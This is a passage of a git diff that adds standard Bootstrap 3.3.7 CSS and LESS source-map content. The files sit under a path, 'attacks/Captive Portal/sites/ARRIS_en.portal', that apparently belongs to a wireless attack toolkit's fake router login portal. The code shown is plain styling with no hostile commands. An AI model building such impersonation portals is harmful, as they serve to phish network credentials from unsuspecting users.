--------------------------------------------------\n\n// Common styles\n.panel {\n .box-shadow(0 1px 2px rgba(0,0,0,.05));\n}\n\n// Mixin for generating new styles\n.panel-heading-styles(@color) {\n #gradient > .vertical(@start-color: @color; @end-color: darken(@color, 5%));\n}\n\n// Apply the mixin to the panel headings only\n.panel-default > .panel-heading { .panel-heading-styles(@panel-default-heading-bg); }\n.panel-primary > .panel-heading { .panel-heading-styles(@panel-primary-heading-bg); }\n.panel-success > .panel-heading { .panel-heading-styles(@panel-success-heading-bg); }\n.panel-info > .panel-heading { .panel-heading-styles(@panel-info-heading-bg); }\n.panel-warning > .panel-heading { .panel-heading-styles(@panel-warning-heading-bg); }\n.panel-danger > .panel-heading { .panel-heading-styles(@panel-danger-heading-bg); }\n\n\n//\n// Wells\n// --------------------------------------------------\n\n.well {\n #gradient > .vertical(@start-color: darken(@well-bg, 5%); @end-color: @well-bg);\n border-color: darken(@well-bg, 10%);\n @shadow: inset 0 1px 3px rgba(0,0,0,.05), 0 1px 0 rgba(255,255,255,.1);\n .box-shadow(@shadow);\n}\n","// Vendor Prefixes\n//\n// All vendor mixins are deprecated as of v3.2.0 due to the introduction of\n// Autoprefixer in our Gruntfile. They have been removed in v4.\n\n// - Animations\n// - Backface visibility\n// - Box shadow\n// - Box sizing\n// - Content columns\n// - Hyphens\n// - Placeholder text\n// - Transformations\n// - Transitions\n// - User Select\n\n\n// Animations\n.animation(@animation) {\n -webkit-animation: @animation;\n -o-animation: @animation;\n animation: @animation;\n}\n.animation-name(@name) {\n -webkit-animation-name: @name;\n animation-name: @name;\n}\n.animation-duration(@duration) {\n -webkit-animation-duration: @duration;\n animation-duration: @duration;\n}\n.animation-timing-function(@timing-function) {\n -webkit-animation-timing-function: @timing-function;\n animation-timing-function: @timing-function;\n}\n.animation-delay(@delay) {\n -webkit-animation-delay: @delay;\n animation-delay: @delay;\n}\n.animation-iteration-count(@iteration-count) {\n -webkit-animation-iteration-count: @iteration-count;\n animation-iteration-count: @iteration-count;\n}\n.animation-direction(@direction) {\n -webkit-animation-direction: @direction;\n animation-direction: @direction;\n}\n.animation-fill-mode(@fill-mode) {\n -webkit-animation-fill-mode: @fill-mode;\n animation-fill-mode: @fill-mode;\n}\n\n// Backface visibility\n// Prevent browsers from flickering when using CSS 3D transforms.\n// Default value is `visible`, but can be changed to `hidden`\n\n.backface-visibility(@visibility) {\n -webkit-backface-visibility: @visibility;\n -moz-backface-visibility: @visibility;\n backface-visibility: @visibility;\n}\n\n// Drop shadows\n//\n// Note: Deprecated `.box-shadow()` as of v3.1.0 since all of Bootstrap's\n// supported browsers that have box shadow capabilities now support it.\n\n.box-shadow(@shadow) {\n -webkit-box-shadow: @shadow; // iOS <4.3 & Android <4.1\n box-shadow: @shadow;\n}\n\n// Box sizing\n.box-sizing(@boxmodel) {\n -webkit-box-sizing: @boxmodel;\n -moz-box-sizing: @boxmodel;\n box-sizing: @boxmodel;\n}\n\n// CSS3 Content Columns\n.content-columns(@column-count; @column-gap: @grid-gutter-width) {\n -webkit-column-count: @column-count;\n -moz-column-count: @column-count;\n column-count: @column-count;\n -webkit-column-gap: @column-gap;\n -moz-column-gap: @column-gap;\n column-gap: @column-gap;\n}\n\n// Optional hyphenation\n.hyphens(@mode: auto) {\n word-wrap: break-word;\n -webkit-hyphens: @mode;\n -moz-hyphens: @mode;\n -ms-hyphens: @mode; // IE10+\n -o-hyphens: @mode;\n hyphens: @mode;\n}\n\n// Placeholder text\n.placeholder(@color: @input-color-placeholder) {\n // Firefox\n &::-moz-placeholder {\n color: @color;\n opacity: 1; // Override Firefox's unusual default opacity; see https://github.com/twbs/bootstrap/pull/11526\n }\n &:-ms-input-placeholder { color: @color; } // Internet Explorer 10+\n &::-webkit-input-placeholder { color: @color; } // Safari and Chrome\n}\n\n// Transformations\n.scale(@ratio) {\n -webkit-transform: scale(@ratio);\n -ms-transform: scale(@ratio); // IE9 only\n -o-transform: scale(@ratio);\n transform: scale(@ratio);\n}\n.scale(@ratioX; @ratioY) {\n -webkit-transform: scale(@ratioX, @ratioY);\n -ms-transform: scale(@ratioX, @ratioY); // IE9 only\n -o-transform: scale(@ratioX, @ratioY);\n transform: scale(@ratioX, @ratioY);\n}\n.scaleX(@ratio) {\n -webkit-transform: scaleX(@ratio);\n -ms-transform: scaleX(@ratio); // IE9 only\n -o-transform: scaleX(@ratio);\n transform: scaleX(@ratio);\n}\n.scaleY(@ratio) {\n -webkit-transform: scaleY(@ratio);\n -ms-transform: scaleY(@ratio); // IE9 only\n -o-transform: scaleY(@ratio);\n transform: scaleY(@ratio);\n}\n.skew(@x; @y) {\n -webkit-transform: skewX(@x) skewY(@y);\n -ms-transform: skewX(@x) skewY(@y); // See https://github.com/twbs/bootstrap/issues/4885; IE9+\n -o-transform: skewX(@x) skewY(@y);\n transform: skewX(@x) skewY(@y);\n}\n.translate(@x; @y) {\n -webkit-transform: translate(@x, @y);\n -ms-transform: translate(@x, @y); // IE9 only\n -o-transform: translate(@x, @y);\n transform: translate(@x, @y);\n}\n.translate3d(@x; @y; @z) {\n -webkit-transform: translate3d(@x, @y, @z);\n transform: translate3d(@x, @y, @z);\n}\n.rotate(@degrees) {\n -webkit-transform: rotate(@degrees);\n -ms-transform: rotate(@degrees); // IE9 only\n -o-transform: rotate(@degrees);\n transform: rotate(@degrees);\n}\n.rotateX(@degrees) {\n -webkit-transform: rotateX(@degrees);\n -ms-transform: rotateX(@degrees); // IE9 only\n -o-transform: rotateX(@degrees);\n transform: rotateX(@degrees);\n}\n.rotateY(@degrees) {\n -webkit-transform: rotateY(@degrees);\n -ms-transform: rotateY(@degrees); // IE9 only\n -o-transform: rotateY(@degrees);\n transform: rotateY(@degrees);\n}\n.perspective(@perspective) {\n -webkit-perspective: @perspective;\n -moz-perspective: @perspective;\n perspective: @perspective;\n}\n.perspective-origin(@perspective) {\n -webkit-perspective-origin: @perspective;\n -moz-perspective-origin: @perspective;\n perspective-origin: @perspective;\n}\n.transform-origin(@origin) {\n -webkit-transform-origin: @origin;\n -moz-transform-origin: @origin;\n -ms-transform-origin: @origin; // IE9 only\n transform-origin: @origin;\n}\n\n\n// Transitions\n\n.transition(@transition) {\n -webkit-transition: @transition;\n -o-transition: @transition;\n transition: @transition;\n}\n.transition-property(@transition-property) {\n -webkit-transition-property: @transition-property;\n transition-property: @transition-property;\n}\n.transition-delay(@transition-delay) {\n -webkit-transition-delay: @transition-delay;\n transition-delay: @transition-delay;\n}\n.transition-duration(@transition-duration) {\n -webkit-transition-duration: @transition-duration;\n transition-duration: @transition-duration;\n}\n.transition-timing-function(@timing-function) {\n -webkit-transition-timing-function: @timing-function;\n transition-timing-function: @timing-function;\n}\n.transition-transform(@transition) {\n -webkit-transition: -webkit-transform @transition;\n -moz-transition: -moz-transform @transition;\n -o-transition: -o-transform @transition;\n transition: transform @transition;\n}\n\n\n// User select\n// For selecting text on the page\n\n.user-select(@select) {\n -webkit-user-select: @select;\n -moz-user-select: @select;\n -ms-user-select: @select; // IE10+\n user-select: @select;\n}\n","// Gradients\n\n#gradient {\n\n // Horizontal gradient, from left to right\n //\n // Creates two color stops, start and end, by specifying a color and position for each color stop.\n // Color stops are not available in IE9 and below.\n .horizontal(@start-color: #555; @end-color: #333; @start-percent: 0%; @end-percent: 100%) {\n background-image: -webkit-linear-gradient(left, @start-color @start-percent, @end-color @end-percent); // Safari 5.1-6, Chrome 10+\n background-image: -o-linear-gradient(left, @start-color @start-percent, @end-color @end-percent); // Opera 12\n background-image: linear-gradient(to right, @start-color @start-percent, @end-color @end-percent); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+\n background-repeat: repeat-x;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=1)\",argb(@start-color),argb(@end-color))); // IE9 and down\n }\n\n // Vertical gradient, from top to bottom\n //\n // Creates two color stops, start and end, by specifying a color and position for each color stop.\n // Color stops are not available in IE9 and below.\n .vertical(@start-color: #555; @end-color: #333; @start-percent: 0%; @end-percent: 100%) {\n background-image: -webkit-linear-gradient(top, @start-color @start-percent, @end-color @end-percent); // Safari 5.1-6, Chrome 10+\n background-image: -o-linear-gradient(top, @start-color @start-percent, @end-color @end-percent); // Opera 12\n background-image: linear-gradient(to bottom, @start-color @start-percent, @end-color @end-percent); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+\n background-repeat: repeat-x;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=0)\",argb(@start-color),argb(@end-color))); // IE9 and down\n }\n\n .directional(@start-color: #555; @end-color: #333; @deg: 45deg) {\n background-repeat: repeat-x;\n background-image: -webkit-linear-gradient(@deg, @start-color, @end-color); // Safari 5.1-6, Chrome 10+\n background-image: -o-linear-gradient(@deg, @start-color, @end-color); // Opera 12\n background-image: linear-gradient(@deg, @start-color, @end-color); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+\n }\n .horizontal-three-colors(@start-color: #00b3ee; @mid-color: #7a43b6; @color-stop: 50%; @end-color: #c3325f) {\n background-image: -webkit-linear-gradient(left, @start-color, @mid-color @color-stop, @end-color);\n background-image: -o-linear-gradient(left, @start-color, @mid-color @color-stop, @end-color);\n background-image: linear-gradient(to right, @start-color, @mid-color @color-stop, @end-color);\n background-repeat: no-repeat;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=1)\",argb(@start-color),argb(@end-color))); // IE9 and down, gets no color-stop at all for proper fallback\n }\n .vertical-three-colors(@start-color: #00b3ee; @mid-color: #7a43b6; @color-stop: 50%; @end-color: #c3325f) {\n background-image: -webkit-linear-gradient(@start-color, @mid-color @color-stop, @end-color);\n background-image: -o-linear-gradient(@start-color, @mid-color @color-stop, @end-color);\n background-image: linear-gradient(@start-color, @mid-color @color-stop, @end-color);\n background-repeat: no-repeat;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=0)\",argb(@start-color),argb(@end-color))); // IE9 and down, gets no color-stop at all for proper fallback\n }\n .radial(@inner-color: #555; @outer-color: #333) {\n background-image: -webkit-radial-gradient(circle, @inner-color, @outer-color);\n background-image: radial-gradient(circle, @inner-color, @outer-color);\n background-repeat: no-repeat;\n }\n .striped(@color: rgba(255,255,255,.15); @angle: 45deg) {\n background-image: -webkit-linear-gradient(@angle, @color 25%, transparent 25%, transparent 50%, @color 50%, @color 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(@angle, @color 25%, transparent 25%, transparent 50%, @color 50%, @color 75%, transparent 75%, transparent);\n background-image: linear-gradient(@angle, @color 25%, transparent 25%, transparent 50%, @color 50%, @color 75%, transparent 75%, transparent);\n }\n}\n","// Reset filters for IE\n//\n// When you need to remove a gradient background, do not forget to use this to reset\n// the IE filter for IE9 and below.\n\n.reset-filter() {\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(enabled = false)\"));\n}\n"]} \ No newline at end of file diff --git a/attacks/Captive Portal/sites/ARRIS_en.portal/css/bootstrap.css b/attacks/Captive Portal/sites/ARRIS_en.portal/css/bootstrap.css new file mode 100644 index 0000000..6167622 --- /dev/null +++ b/attacks/Captive Portal/sites/ARRIS_en.portal/css/bootstrap.css @@ -0,0 +1,6757 @@ +/*! + * Bootstrap v3.3.7 (http://getbootstrap.com) + * Copyright 2011-2016 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */ +/*! normalize.css v3.0.3 | MIT License | github.com/necolas/normalize.css */ +html { + font-family: sans-serif; + -webkit-text-size-adjust: 100%; + -ms-text-size-adjust: 100%; +} +body { + margin: 0; +} +article, +aside, +details, +figcaption, +figure, +footer, +header, +hgroup, +main, +menu, +nav, +section, +summary { + display: block; +} +audio, +canvas, +progress, +video { + display: inline-block; + vertical-align: baseline; +} +audio:not([controls]) { + display: none; + height: 0; +} +[hidden], +template { + display: none; +} +a { + background-color: transparent; +} +a:active, +a:hover { + outline: 0; +} +abbr[title] { + border-bottom: 1px dotted; +} +b, +strong { + font-weight: bold; +} +dfn { + font-style: italic; +} +h1 { + margin: .67em 0; + font-size: 2em; +} +mark { + color: #000; + background: #ff0; +} +small { + font-size: 80%; +} +sub, +sup { + position: relative; + font-size: 75%; + line-height: 0; + vertical-align: baseline; +} +sup { + top: -.5em; +} +sub { + bottom: -.25em; +} +img { + border: 0; +} +svg:not(:root) { + overflow: hidden; +} +figure { + margin: 1em 40px; +} +hr { + height: 0; + -webkit-box-sizing: content-box; + -moz-box-sizing: content-box; + box-sizing: content-box; +} +pre { + overflow: auto; +} +code, +kbd, +pre, +samp { + font-family: monospace, monospace; + font-size: 1em; +} +button, +input, +optgroup, +select, +textarea { + margin: 0; + font: inherit; + color: inherit; +} +button { + overflow: visible; +} +button, +select { + text-transform: none; +} +button, +html input[type="button"], +input[type="reset"], +input[type="submit"] { + -webkit-appearance: button; + cursor: pointer; +} +button[disabled], +html input[disabled] { + cursor: default; +} +button::-moz-focus-inner, +input::-moz-focus-inner { + padding: 0; + border: 0; +} +input { + line-height: normal; +} +input[type="checkbox"], +input[type="radio"] { + -webkit-box-sizing: border-box; + -moz-box-sizing: border-box; + box-sizing: border-box; + padding: 0; +} +input[type="number"]::-webkit-inner-spin-button, +input[type="number"]::-webkit-outer-spin-button { + height: auto; +} +input[type="search"] { + -webkit-box-sizing: content-box; + -moz-box-sizing: content-box; + box-sizing: content-box; + -webkit-appearance: textfield; +} +input[type="search"]::-webkit-search-cancel-button, +input[type="search"]::-webkit-search-decoration { + -webkit-appearance: none; +} +fieldset { + padding: .35em .625em .75em; + margin: 0 2px; + border: 1px solid #c0c0c0; +} +legend { + padding: 0; + border: 0; +} +textarea { + overflow: auto; +} +optgroup { + font-weight: bold; +} +table { + border-spacing: 0; + border-collapse: collapse; +} +td, +th { + padding: 0; +} +/*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */ +@media print { + *, + *:before, + *:after { + color: #000 !important; + text-shadow: none !important; + background: transparent !important; + -webkit-box-shadow: none !important; + box-shadow: none !important; + } + a, + a:visited { + text-decoration: underline; + } + a[href]:after { + content: " (" attr(href) ")"; + } + abbr[title]:after { + content: " (" attr(title) ")"; + } + a[href^="#"]:after, + a[href^="javascript:"]:after { + content: ""; + } + pre, + blockquote { + border: 1px solid #999; + + page-break-inside: avoid; + } + thead { + display: table-header-group; + } + tr, + img { + page-break-inside: avoid; + } + img { + max-width: 100% !important; + } + p, + h2, + h3 { + orphans: 3; + widows: 3; + } + h2, + h3 { + page-break-after: avoid; + } + .navbar { + display: none; + } + .btn > .caret, + .dropup > .btn > .caret { + border-top-color: #000 !important; + } + .label { + border: 1px solid #000; + } + .table { + border-collapse: collapse !important; + } + .table td, + .table th { + background-color: #fff !important; + } + .table-bordered th, + .table-bordered td { + border: 1px solid #ddd !important; + } +} +@font-face { + font-family: 'Glyphicons Halflings'; + + src: url('../fonts/glyphicons-halflings-regular.eot'); + src: url('../fonts/glyphicons-halflings-regular.eot?#iefix') format('embedded-opentype'), url('../fonts/glyphicons-halflings-regular.woff2') format('woff2'), url('../fonts/glyphicons-halflings-regular.woff') format('woff'), url('../fonts/glyphicons-halflings-regular.ttf') format('truetype'), url('../fonts/glyphicons-halflings-regular.svg#glyphicons_halflingsregular') format('svg'); +} +.glyphicon { + position: relative; + top: 1px; + display: inline-block; + font-family: 'Glyphicons Halflings'; + font-style: normal; + font-weight: normal; + line-height: 1; + + -webkit-font-smoothing: antialiased; + -moz-osx-font-smoothing: grayscale; +} +.glyphicon-asterisk:before { + content: "\002a"; +} +.glyphicon-plus:before { + content: "\002b"; +} +.glyphicon-euro:before, +.glyphicon-eur:before { + content: "\20ac"; +} +.glyphicon-minus:before { + content: "\2212"; +} +.glyphicon-cloud:before { + content: "\2601"; +} +.glyphicon-envelope:before { + content: "\2709"; +} +.glyphicon-pencil:before { + content: "\270f"; +} +.glyphicon-glass:before { + content: "\e001"; +} +.glyphicon-music:before { + content: "\e002"; +} +.glyphicon-search:before { + content: "\e003"; +} +.glyphicon-heart:before { + content: "\e005"; +} +.glyphicon-star:before { + content: "\e006"; +} +.glyphicon-star-empty:before { + content: "\e007"; +} +.glyphicon-user:before { + content: "\e008"; +} +.glyphicon-film:before { + content: "\e009"; +} +.glyphicon-th-large:before { + content: "\e010"; +} +.glyphicon-th:before { + content: "\e011"; +} +.glyphicon-th-list:before { + content: "\e012"; +} +.glyphicon-ok:before { + content: "\e013"; +} +.glyphicon-remove:before { + content: "\e014"; +} +.glyphicon-zoom-in:before { + content: "\e015"; +} +.glyphicon-zoom-out:before { + content: "\e016"; +} +.glyphicon-off:before { + content: "\e017"; +} +.glyphicon-signal:before { + content: "\e018"; +} +.glyphicon-cog:before { + content: "\e019"; +} +.glyphicon-trash:before { + content: "\e020"; +} +.glyphicon-home:before { + content: "\e021"; +} +.glyphicon-file:before { + content: "\e022"; +} +.glyphicon-time:before { + content: "\e023"; +} +.glyphicon-road:before { + content: "\e024"; +} +.glyphicon-download-alt:before { + content: "\e025"; +} +.glyphicon-download:before { + content: "\e026"; +} +.glyphicon-upload:before { + content: "\e027"; +} +.glyphicon-inbox:before { + content: "\e028"; +} +.glyphicon-play-circle:before { + content: "\e029"; +} +.glyphicon-repeat:before { + content: "\e030"; +} +.glyphicon-refresh:before { + content: "\e031"; +} +.glyphicon-list-alt:before { + content: "\e032"; +} +.glyphicon-lock:before { + content: "\e033"; +} +.glyphicon-flag:before { + content: "\e034"; +} +.glyphicon-headphones:before { + content: "\e035"; +} +.glyphicon-volume-off:before { + content: "\e036"; +} +.glyphicon-volume-down:before { + content: "\e037"; +} +.glyphicon-volume-up:before { + content: "\e038"; +} +.glyphicon-qrcode:before { + content: "\e039"; +} +.glyphicon-barcode:before { + content: "\e040"; +} +.glyphicon-tag:before { + content: "\e041"; +} +.glyphicon-tags:before { + content: "\e042"; +} +.glyphicon-book:before { + content: "\e043"; +} +.glyphicon-bookmark:before { + content: "\e044"; +} +.glyphicon-print:before { + content: "\e045"; +} +.glyphicon-camera:before { + content: "\e046"; +} +.glyphicon-font:before { + content: "\e047"; +} +.glyphicon-bold:before { + content: "\e048"; +} +.glyphicon-italic:before { + content: "\e049"; +} +.glyphicon-text-height:before { + content: "\e050"; +} +.glyphicon-text-width:before { + content: "\e051"; +} +.glyphicon-align-left:before { + content: "\e052"; +} +.glyphicon-align-center:before { + content: "\e053"; +} +.glyphicon-align-right:before { + content: "\e054"; +} +.glyphicon-align-justify:before { + content: "\e055"; +} +.glyphicon-list:before { + content: "\e056"; +} +.glyphicon-indent-left:before { + content: "\e057"; +} +.glyphicon-indent-right:before { + content: "\e058"; +} +.glyphicon-facetime-video:before { + content: "\e059"; +} +.glyphicon-picture:before { + content: "\e060"; +} +.glyphicon-map-marker:before { + content: "\e062"; +} +.glyphicon-adjust:before { + content: "\e063"; +} +.glyphicon-tint:before { + content: "\e064"; +} +.glyphicon-edit:before { + content: "\e065"; +} +.glyphicon-share:before { + content: "\e066"; +} +.glyphicon-check:before { + content: "\e067"; +} +.glyphicon-move:before { + content: "\e068"; +} +.glyphicon-step-backward:before { + content: "\e069"; +} +.glyphicon-fast-backward:before { + content: "\e070"; +} +.glyphicon-backward:before { + content: "\e071"; +} +.glyphicon-play:before { + content: "\e072"; +} +.glyphicon-pause:before { + content: "\e073"; +} +.glyphicon-stop:before { + content: "\e074"; +} +.glyphicon-forward:before { + content: "\e075"; +} +.glyphicon-fast-forward:before { + content: "\e076"; +} +.glyphicon-step-forward:before { + content: "\e077"; +} +.glyphicon-eject:before { + content: "\e078"; +} +.glyphicon-chevron-left:before { + content: "\e079"; +} +.glyphicon-chevron-right:before { + content: "\e080"; +} +.glyphicon-plus-sign:before { + content: "\e081"; +} +.glyphicon-minus-sign:before { + content: "\e082"; +} +.glyphicon-remove-sign:before { + content: "\e083"; +} +.glyphicon-ok-sign:before { + content: "\e084"; +} +.glyphicon-question-sign:before { + content: "\e085"; +} +.glyphicon-info-sign:before { + content: "\e086"; +} +.glyphicon-screenshot:before { + content: "\e087"; +} +.glyphicon-remove-circle:before { + content: "\e088"; +} +.glyphicon-ok-circle:before { + content: "\e089"; +} +.glyphicon-ban-circle:before { + content: "\e090"; +} +.glyphicon-arrow-left:before { + content: "\e091"; +} +.glyphicon-arrow-right:before { + content: "\e092"; +} +.glyphicon-arrow-up:before { + content: "\e093"; +} +.glyphicon-arrow-down:before { + content: "\e094"; +} +.glyphicon-share-alt:before { + content: "\e095"; +} +.glyphicon-resize-full:before { + content: "\e096"; +} +.glyphicon-resize-small:before { + content: "\e097"; +} +.glyphicon-exclamation-sign:before { + content: "\e101"; +} +.glyphicon-gift:before { + content: "\e102"; +} +.glyphicon-leaf:before { + content: "\e103"; +} +.glyphicon-fire:before { + content: "\e104"; +} +.glyphicon-eye-open:before { + content: "\e105"; +} +.glyphicon-eye-close:before { + content: "\e106"; +} +.glyphicon-warning-sign:before { + content: "\e107"; +} +.glyphicon-plane:before { + content: "\e108"; +} +.glyphicon-calendar:before { + content: "\e109"; +} +.glyphicon-random:before { + content: "\e110"; +} +.glyphicon-comment:before { + content: "\e111"; +} +.glyphicon-magnet:before { + content: "\e112"; +} +.glyphicon-chevron-up:before { + content: "\e113"; +} +.glyphicon-chevron-down:before { + content: "\e114"; +} +.glyphicon-retweet:before { + content: "\e115"; +} +.glyphicon-shopping-cart:before { + content: "\e116"; +} +.glyphicon-folder-close:before { + content: "\e117"; +} +.glyphicon-folder-open:before { + content: "\e118"; +} +.glyphicon-resize-vertical:before { + content: "\e119"; +} +.glyphicon-resize-horizontal:before { + content: "\e120"; +} +.glyphicon-hdd:before { + content: "\e121"; +} +.glyphicon-bullhorn:before { + content: "\e122"; +} +.glyphicon-bell:before { + content: "\e123"; +} +.glyphicon-certificate:before { + content: "\e124"; +} +.glyphicon-thumbs-up:before { + content: "\e125"; +} +.glyphicon-thumbs-down:before { + content: "\e126"; +} +.glyphicon-hand-right:before { + content: "\e127"; +} +.glyphicon-hand-left:before { + content: "\e128"; +} +.glyphicon-hand-up:before { + content: "\e129"; +} +.glyphicon-hand-down:before { + content: "\e130"; +} +.glyphicon-circle-arrow-right:before { + content: "\e131"; +} +.glyphicon-circle-arrow-left:before { + content: "\e132"; +} +.glyphicon-circle-arrow-up:before { + content: "\e133"; +} +.glyphicon-circle-arrow-down:before { + content: "\e134"; +} +.glyphicon-globe:before { + content: "\e135"; +} +.glyphicon-wrench:before { + content: "\e136"; +} +.glyphicon-tasks:before { + content: "\e137"; +} +.glyphicon-filter:before { + content: "\e138"; +} +.glyphicon-briefcase:before { + content: "\e139"; +} +.glyphicon-fullscreen:before { + content: "\e140"; +} +.glyphicon-dashboard:before { + content: "\e141"; +} +.glyphicon-paperclip:before { + content: "\e142"; +} +.glyphicon-heart-empty:before { + content: "\e143"; +} +.glyphicon-link:before { + content: "\e144"; +} +.glyphicon-phone:before { + content: "\e145"; +} +.glyphicon-pushpin:before { + content: "\e146"; +} +.glyphicon-usd:before { + content: "\e148"; +} +.glyphicon-gbp:before { + content: "\e149"; +} +.glyphicon-sort:before { + content: "\e150"; +} +.glyphicon-sort-by-alphabet:before { + content: "\e151"; +} +.glyphicon-sort-by-alphabet-alt:before { + content: "\e152"; +} +.glyphicon-sort-by-order:before { + content: "\e153"; +} +.glyphicon-sort-by-order-alt:before { + content: "\e154"; +} +.glyphicon-sort-by-attributes:before { + content: "\e155"; +} +.glyphicon-sort-by-attributes-alt:before { + content: "\e156"; +} +.glyphicon-unchecked:before { + content: "\e157"; +} +.glyphicon-expand:before { + content: "\e158"; +} +.glyphicon-collapse-down:before { + content: "\e159"; +} +.glyphicon-collapse-up:before { + content: "\e160"; +} +.glyphicon-log-in:before { + content: "\e161"; +} +.glyphicon-flash:before { + content: "\e162"; +} +.glyphicon-log-out:before { + content: "\e163"; +} +.glyphicon-new-window:before { + content: "\e164"; +} +.glyphicon-record:before { + content: "\e165"; +} +.glyphicon-save:before { + content: "\e166"; +} +.glyphicon-open:before { + content: "\e167"; +} +.glyphicon-saved:before { + content: "\e168"; +} +.glyphicon-import:before { + content: "\e169"; +} +.glyphicon-export:before { + content: "\e170"; +} +.glyphicon-send:before { + content: "\e171"; +} +.glyphicon-floppy-disk:before { + content: "\e172"; +} +.glyphicon-floppy-saved:before { + content: "\e173"; +} +.glyphicon-floppy-remove:before { + content: "\e174"; +} +.glyphicon-floppy-save:before { + content: "\e175"; +} +.glyphicon-floppy-open:before { + content: "\e176"; +} +.glyphicon-credit-card:before { + content: "\e177"; +} +.glyphicon-transfer:before { + content: "\e178"; +} +.glyphicon-cutlery:before { + content: "\e179"; +} +.glyphicon-header:before { + content: "\e180"; +} +.glyphicon-compressed:before { + content: "\e181"; +} +.glyphicon-earphone:before { + content: "\e182"; +} +.glyphicon-phone-alt:before { + content: "\e183"; +} +.glyphicon-tower:before { + content: "\e184"; +} +.glyphicon-stats:before { + content: "\e185"; +} +.glyphicon-sd-video:before { + content: "\e186"; +} +.glyphicon-hd-video:before { + content: "\e187"; +} +.glyphicon-subtitles:before { + content: "\e188"; +} +.glyphicon-sound-stereo:before { + content: "\e189"; +} +.glyphicon-sound-dolby:before { + content: "\e190"; +} +.glyphicon-sound-5-1:before { + content: "\e191"; +} +.glyphicon-sound-6-1:before { + content: "\e192"; +} +.glyphicon-sound-7-1:before { + content: "\e193"; +} +.glyphicon-copyright-mark:before { + content: "\e194"; +} +.glyphicon-registration-mark:before { + content: "\e195"; +} +.glyphicon-cloud-download:before { + content: "\e197"; +} +.glyphicon-cloud-upload:before { + content: "\e198"; +} +.glyphicon-tree-conifer:before { + content: "\e199"; +} +.glyphicon-tree-deciduous:before { + content: "\e200"; +} +.glyphicon-cd:before { + content: "\e201"; +} +.glyphicon-save-file:before { + content: "\e202"; +} +.glyphicon-open-file:before { + content: "\e203"; +} +.glyphicon-level-up:before { + content: "\e204"; +} +.glyphicon-copy:before { + content: "\e205"; +} +.glyphicon-paste:before { + content: "\e206"; +} +.glyphicon-alert:before { + content: "\e209"; +} +.glyphicon-equalizer:before { + content: "\e210"; +} +.glyphicon-king:before { + content: "\e211"; +} +.glyphicon-queen:before { + content: "\e212"; +} +.glyphicon-pawn:before { + content: "\e213"; +} +.glyphicon-bishop:before { + content: "\e214"; +} +.glyphicon-knight:before { + content: "\e215"; +} +.glyphicon-baby-formula:before { + content: "\e216"; +} +.glyphicon-tent:before { + content: "\26fa"; +} +.glyphicon-blackboard:before { + content: "\e218"; +} +.glyphicon-bed:before { + content: "\e219"; +} +.glyphicon-apple:before { + content: "\f8ff"; +} +.glyphicon-erase:before { + content: "\e221"; +} +.glyphicon-hourglass:before { + content: "\231b"; +} +.glyphicon-lamp:before { + content: "\e223"; +} +.glyphicon-duplicate:before { + content: "\e224"; +} +.glyphicon-piggy-bank:before { + content: "\e225"; +} +.glyphicon-scissors:before { + content: "\e226"; +} +.glyphicon-bitcoin:before { + content: "\e227"; +} +.glyphicon-btc:before { + content: "\e227"; +} +.glyphicon-xbt:before { + content: "\e227"; +} +.glyphicon-yen:before { + content: "\00a5"; +} +.glyphicon-jpy:before { + content: "\00a5"; +} +.glyphicon-ruble:before { + content: "\20bd"; +} +.glyphicon-rub:before { + content: "\20bd"; +} +.glyphicon-scale:before { + content: "\e230"; +} +.glyphicon-ice-lolly:before { + content: "\e231"; +} +.glyphicon-ice-lolly-tasted:before { + content: "\e232"; +} +.glyphicon-education:before { + content: "\e233"; +} +.glyphicon-option-horizontal:before { + content: "\e234"; +} +.glyphicon-option-vertical:before { + content: "\e235"; +} +.glyphicon-menu-hamburger:before { + content: "\e236"; +} +.glyphicon-modal-window:before { + content: "\e237"; +} +.glyphicon-oil:before { + content: "\e238"; +} +.glyphicon-grain:before { + content: "\e239"; +} +.glyphicon-sunglasses:before { + content: "\e240"; +} +.glyphicon-text-size:before { + content: "\e241"; +} +.glyphicon-text-color:before { + content: "\e242"; +} +.glyphicon-text-background:before { + content: "\e243"; +} +.glyphicon-object-align-top:before { + content: "\e244"; +} +.glyphicon-object-align-bottom:before { + content: "\e245"; +} +.glyphicon-object-align-horizontal:before { + content: "\e246"; +} +.glyphicon-object-align-left:before { + content: "\e247"; +} +.glyphicon-object-align-vertical:before { + content: "\e248"; +} +.glyphicon-object-align-right:before { + content: "\e249"; +} +.glyphicon-triangle-right:before { + content: "\e250"; +} +.glyphicon-triangle-left:before { + content: "\e251"; +} +.glyphicon-triangle-bottom:before { + content: "\e252"; +} +.glyphicon-triangle-top:before { + content: "\e253"; +} +.glyphicon-console:before { + content: "\e254"; +} +.glyphicon-superscript:before { + content: "\e255"; +} +.glyphicon-subscript:before { + content: "\e256"; +} +.glyphicon-menu-left:before { + content: "\e257"; +} +.glyphicon-menu-right:before { + content: "\e258"; +} +.glyphicon-menu-down:before { + content: "\e259"; +} +.glyphicon-menu-up:before { + content: "\e260"; +} +* { + -webkit-box-sizing: border-box; + -moz-box-sizing: border-box; + box-sizing: border-box; +} +*:before, +*:after { + -webkit-box-sizing: border-box; + -moz-box-sizing: border-box; + box-sizing: border-box; +} +html { + font-size: 10px; + + -webkit-tap-highlight-color: rgba(0, 0, 0, 0); +} +body { + font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; + font-size: 14px; + line-height: 1.42857143; + color: #333; + background-color: #fff; +} +input, +button, +select, +textarea { + font-family: inherit; + font-size: inherit; + line-height: inherit; +} +a { + color: #337ab7; + text-decoration: none; +} +a:hover, +a:focus { + color: #23527c; + text-decoration: underline; +} +a:focus { + outline: 5px auto -webkit-focus-ring-color; + outline-offset: -2px; +} +figure { + 